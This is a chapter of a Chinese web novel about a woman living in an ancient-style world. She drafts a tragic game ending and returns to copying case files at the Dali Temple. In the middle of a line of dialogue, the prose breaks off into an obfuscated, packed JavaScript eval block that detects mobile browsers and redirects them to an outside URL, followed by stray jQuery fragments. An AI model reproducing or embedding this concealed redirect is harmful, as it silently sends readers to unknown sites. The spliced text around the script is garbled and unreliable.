38. 第 38 章

作品:《靠乙女游戏攻略模范皇子

    她从桌上站起,扯出个笑,“如今我也好了些,便不在府上叨扰,殿下保重。”


    钱元本能般地站起,却只能任由那淡粉色的丝绸划过他的手掌。


    如蝴蝶飞走一般。


    她缓慢地踏过台阶,才发现这身繁复的衣服是多么碍事,只得转过头去。


    却发现他还在那边站着,直直地看着她。


    “殿下,我想穿回原来的衣服。”


    简欣怡提着裙子,快步走到他身边。


    “好。”


    他只留下这一个字,随后便走了出去。


    “姑娘,这可是我们殿下亲......”


    旁边的侍女还没说完,却被另一个打断,“姑娘的衣服沾了血,我去看干没干。”


    简欣怡重新抬眼看向铜镜,正巧发髻上的小蝴蝶颤啊颤。


    有些事物,没得到过最好。


    换上熟悉的衣服,她什么也没说,就让两个侍女带路,自己走出去了。


    王府素来都在繁华地带,走几步便能找到方向。


    “缀玉,你可回来了。”老林一看见她,便从柜台往门口走,“幸好没什么大碍。”


    “就是有些吓到了,没什么的。”


    简欣怡摇摇头,“这些天没出什么事吧。”


    “没有啊。”


    老林强装镇定,眼神不断闪躲,“这几天都挺好的,圆圆她们家还和新的戏班子谈成生意了呢,回来你也去碰碰运气。”


    “你肯定有事瞒着我。”


    简欣怡看着老林的脸色就不对劲,上前逼问他,“你说,是书的问题还是大理寺那边的问题。”


    她又思考一番,“是不是员外侄子又找事来了,这个曹家旭。”


    “不是,不是。”


    老林左顾右盼,不好意思开口,双手不住地摩挲着破落长衫,上面又添了好些补丁。


    “那你说呀。”


    简欣怡将他拉近柜台一侧,“这边总没人了。”


    “就是,你当时被钱元带走的时候,被施奎正好看到,现在巷子里都在传,你要成为王府里的人了。”


    “胡说,人殿下是为了救我,才好心将我接回,怎么就传成我同他有意?”


    简欣怡故意阴沉个脸,“下次再有这样的传闻,你就帮我解释回去。”


    “那是肯定的,咱们也不是那样的人家。”


    老林一拍胸脯,和她保证以后谁再说这种话直接打出去。


    刚一转脸,又问她,“那钱元没为难你吧?”


    简欣怡一口咬定,“他就是救我,看我没事便把我放回来,没有别的。”


    老林明显不信她这说辞,切了一声,“那他干嘛放他自己府上,怎么不送到咱自己家?”


    “哎呀。”简欣怡捂着耳朵窜到后院去了。


    这个老林,平常怎么没感觉这么八卦。


    简欣怡看老林没追过来,暂时松了口气。


    可一看到桌上满满的画稿,又开始头疼。


    本来说一结案就画的,结果不小心耽误了这么长时间。


    她重新拿了张白纸,先一步构思be剧情。


    冷漠男被下大狱,六皇子却在此时跳出来,说只要女主嫁给他,便可以救冷漠男出来,女主如果选择答应六皇子的请求,则进入be结局。


    女主以侧妃之位留在六皇子身边,而六皇子信守承诺,将冷漠男以庶民的身份放了出来。冷漠男自然将其视为仇敌,藏身于青山之中,每日装作道士模样,暗地里谋求着复仇,同时观察着王府里的一举一动。


    六皇子强娶女主,两人本就无爱,只有对彼此的恨意,女主在府中受尽欺压,逐渐精神错乱。


    一日,六皇子府外出道观祈福之时,女主不小心迷了路,却正好在后山撞到冷漠男。两人没想到还能相见,对视良久。


    后山漫山遍野的迎春花,随着微风轻轻飘荡,散作花瓣围绕在两人之间。


    冷漠男缓缓伸出的手,一如既往的救她于水火之中。


    于是,每当六皇子出府之时,女主都会装神弄鬼,逼迫正妃唤道士斩妖除魔。


    众人面前,两人是道士与疯子。


    可看不见的地方,两人总会偷偷勾住对方的手指。


    纯背德,她很喜欢。


    简欣怡快马加鞭将画稿铺开,等干透后按顺序放好。


    现在只剩最后的一个结局了,让她好好休息一下。


    如今冬月将过,就快过年了。


    这是她在这里过得第一个年。


    过年啊......


    简欣怡看向夜空,几点星子闪烁。


    是高楼大厦的城市夜间不曾看见的风景。


    也许她们也会和自己看见同一片天空。


    她这样想着,想了很久,直到再也抵抗不住浓浓地困意,沉沉睡去。


    好多人,用各种各样地声音,一遍一遍地叫着。


    “欣怡,欣怡。”


    简欣怡猛然转醒,眼前还是那间熟悉的古代卧房。


    桌子上,按顺序摆着她昨天画的剧情。


    只是一场梦。


    可她现在也时常会疑惑,到底缀玉是她的一场梦?


    还是欣怡,才是她的一场梦?


    每当想到这个问题,她便头疼得紧。


    连带着洗漱都没什么力气。


    老林看她怨气冲冲地出门去,追着问道,“缀玉,一大清早又要去哪里?”


    “回大理寺上班。”


    简欣怡揉了揉眼睛,一副没怎么睡醒的样子,“人家结了工钱,班还是要上满一月的。”


    “行吧,那你可要多注意,危险的活可别往前冲。”


    老林这回可算是知道了大理寺的危险,跟在后面嘱咐了好几句。


    简欣怡明白他心里慌,转身回去安慰道,“放心,案子结束之后主要就是些记录的活,不会危险的。”


    说罢,才去了大理寺。


    案子结束,她本以为大理寺应是一片欢快的热闹景象,没想到比之前还要忙。


    她连个和人打招呼的机会都没有。


    简欣怡只得顺着之前的路走回案卷室,一进门,正好看到牧主簿在架子上疯狂翻找。


    “之前的案子还没完,又出一个新案子。”


    孙历清抱着一摞的案卷,往门外走时正好看到她,“林姑娘小心。”


    两人赶紧把这案卷扶稳。


    简欣怡看着后面来来往往的人影,问道,“这是怎么了,案子结束怎么还这样忙?”


    牧主簿腾地一声从后面跑到简欣怡的身前,仰头望天,“前


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881210|173952||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脚案子刚破,涉嫌春闱舞弊,刚对国子监进行自查,内帘官便被人发现服毒自尽了。”


    “啊?”


    简欣怡本以为案子结束之后就能轻松一点,没想到还是连环案。


    “遗书都写好了,字迹也一样,可圣上发话彻查,我们也只能照办。”牧主簿紧紧握着简欣怡的手,十分诚恳地看着她,“你还能来,真是帮我和孙历清一个大忙。”


    “孙大人结了一个月的工钱,起码要干够日子才是。”


    简欣怡看着如小山高的案卷,开始害怕起来。


    牧主簿大手一挥,“没事,你先将前案的案卷补好,估计等现在这案子破获之后,你在重新补此案。”


    孙历清又从里面抱了一摞小山过来,撂在桌上,“这些是有关前案的证人证言,证据线索,以及后续处理,重新誊抄在案卷中,就可封存进案卷室。”


    “这么多,就光上一个案子?”


    “对啊,凶手的身份难以确认,只得通过证言判断,你只记几天有用的便可,剩下的要还回金吾卫那边。”


    原来你们这信息都不联网。


    简欣怡欲哭无泪。


    “我知道了。”


    简欣怡回到那一方小桌,翻开那些证词的第一页。


    却是当时她所画的那张画像。


    里面是那人的信息。


    “姓名:不知,出生地:不知,随父迁楚州……”


    她照着那些话一一抄下,思绪却早已随着笔端游走。


    本来都已经结案的事情,猛然又看到这份资料,一下又把她拉回那个夜晚。


    惊慌之余,笔尖早已没有墨,字迹尤为干枯。


    若是能知道那人的所作所为,是否能推断出,他那日,到底为什么推开自己?


    人都死了,她到底都在想些什么?


    不知不觉间,天色渐暗。


    简欣怡轻捏眉头,本以为自己能够承受这些工作强度,可如今才知道这些工作量有多大。


    没办法,她也只得咬牙继续。


    刚要起身点灯,却见孙历清将烛台轻轻拿过,放在简欣怡桌边。


    “若是累了就歇歇再抄。”


    “没事,我把这一摞抄完就好。”


    简欣怡将抄完的卷宗放在一边,笔触不停。


    孙历清看了良久,才轻飘飘落下一句话,“你若是抄完了,把这些卷宗一起还于金吾卫就成。”


    “啊?”


    她惊讶抬头,“金吾卫?”


    那岂不是又要碰到……


    孙历清眼波一转,轻轻一笑,“我以为你和殿下已经很熟了,原来竟不是吗?”


    “没有,我和他......”


    怎么解释呢?


    简欣怡深深地叹了一口气,“有时候我觉得,他不懂我。”


    “不懂你?”


    孙历清眉头紧皱,像是听到了什么不敢置信的话语。


    “就是......”


    简欣怡开始构思,该用什么话语形容他们两个之间的关系。


    “应该说,我也不懂他。”


    “林姑娘,我明白了。”孙历清倒是点点头,看着面前摇曳的烛火,缓缓道:“旁观者清,当局者迷。”


    “越是迷惘不察的,其实越是一目了然。”